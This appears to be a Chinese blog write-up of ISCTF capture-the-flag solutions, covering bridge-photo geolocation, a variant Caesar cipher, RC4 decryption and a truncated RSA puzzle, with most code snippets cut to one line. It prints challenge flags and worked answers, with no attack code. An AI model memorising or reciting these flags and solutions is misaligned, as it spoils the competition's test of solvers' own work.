左侧的桥梁:是蓝色的曼哈顿大桥 (Manhattan Bridge)。我们可以清晰地看到其标志性的蓝色钢塔。由于桥在左侧且看起来非常高大,这说明拍摄位置就在曼哈顿大桥的南侧附近。
右侧的桥梁:远处那座带有石塔的桥是布鲁克林大桥 (Brooklyn Bridge)。
拍摄地点:您位于曼哈顿一侧的东河沿岸,处于两座大桥之间(更靠近曼哈顿大桥)。这里的长椅和栏杆是东河滨水大道(East River Esplanade)翻新工程的一部分(通常由 SHoP Architects 设计),这一带(如 Pier 35 以南到 Market Slip 附近)提供了观赏两座大桥的绝佳视角。
位置详情:
地点:东河滨水大道 (East River Waterfront Esplanade)
区域:曼哈顿下城的双桥社区 (Two Bridges)
景观:面朝东河 (East River) 和布鲁克林方向

OSINT3

f12可以看到这个题调用了谷歌地图的API
https://www.google.com/maps/@?api=1&map_action=pano&pano=-88LYedx_0Bfr0PMqm0OhA
SignIn
OSINT-4
ISCTF{like.crazy.thursdays}

OSINT-4
这是一道典型的**变种凯撒密码(Variant Caesar Cipher)**题目。
普通的凯撒密码由于偏移量(Shift)是固定的,很容易被破解。而这段代码中的偏移量是动态变化的:
初始偏移量为 2。
每处理一个字母,偏移量就会增加 3 (shift += 3)。
非字母字符(如 {, _, })不参与加密,且不会改变偏移量。
解题思路
要解出 Flag,我们需要编写一个解密脚本(Decrypt Script),逻辑与加密完全相反:
加密算法: (原文 + shift) % 26
解密算法: (密文 - shift) % 26
Shift 的变化: 必须与加密过程完全一致(初始为 2,每遇到一个字母 +3)。
解题代码 (Python)
你可以直接运行这段 Python 代码来获取 Flag:
Python
1 | def variant_caesar_decrypt(ciphertext): |
运行结果
运行上述脚本后,你会得到:
Flag: ISCTF{Caesar_is_so_easy_and_funny}
原理解析(手动验算前几位)
如果你想理解具体发生了什么,我们可以手动验算前几个字符 KXKET:
‘K’:
当前 shift = 2
解密: K (-2) -> I
新 shift = 2 + 3 = 5
‘X’:
当前 shift = 5
解密: X (-5) -> S
新 shift = 5 + 3 = 8
‘K’:
当前 shift = 8
解密: K (-8) -> C
新 shift = 8 + 3 = 11
‘E’:
当前 shift = 11
解密: E (-11) -> T
新 shift = 11 + 3 = 14
‘T’:
当前 shift = 14
解密: T (-14) -> F
新 shift = 14 + 3 = 17
前缀组合起来就是 ISCTF。

小蓝鲨的RC4系统
这道题是典型的 RC4 流密码题目。RC4 是一种对称加密算法,其核心特点是:加密和解密使用完全相同的算法和密钥。即:$明文 \oplus 密钥流 = 密文$,反过来 $密文 \oplus 密钥流 = 明文$。解题思路密文 (Ciphertext):你提供的长字符串 ba19a711… 是十六进制格式的密文。密钥 (Key):通常在 CTF 题目中,如果代码里写了注释 #ISCTF2025,那么 ISCTF2025 很可能就是密钥(Key)。解密方法:将十六进制密文转换为字节(bytes)。使用相同的密钥(ISCTF2025)初始化 StreamCipher。调用 crypt 方法处理密文,即可得到明文(Flag)。解密代码 (Python)你可以直接运行以下代码来获取 Flag:
1 | import hashlib |
题目提供的密文 hex 字符串
hex_ciphertext = “ba19a7116763ba8ba1c236c6bdc30187dcc8afb28c8fa5f266763880b74f5fff915613718f4d19c3baf4bbe24bd57303ce103d”
猜测密钥为注释中的内容
key = “ISCTF2025”
将 hex 转换回 bytes
cipher_bytes = bytes.fromhex(hex_ciphertext)初始化密码器
rc4 = StreamCipher(key)解密 (RC4是对称的,再次运行 crypt 即可解密)
decrypted_bytes = rc4.crypt(cipher_bytes)打印结果
1 | try: |
预期结果运行上述脚本后,你应该能得到类似格式的 flag:ISCTF{…} 或者一段有意义的英文句子。关键点解释:题目中的 _key_to_bytes 函数加了一层 SHA256,这意味着无论原本的 key 是多短的字符串,真正用于 RC4 初始化(KSA 阶段)的 key 都是 32 字节的哈希值。解密时必须保留这个逻辑。

小蓝鲨的费马谜题
1 | #!/usr/bin/env python3 |
1 | n: 2048 bits, e: 65537, hints: 50 |
我去,Flag是真的!?
随便交一个即可





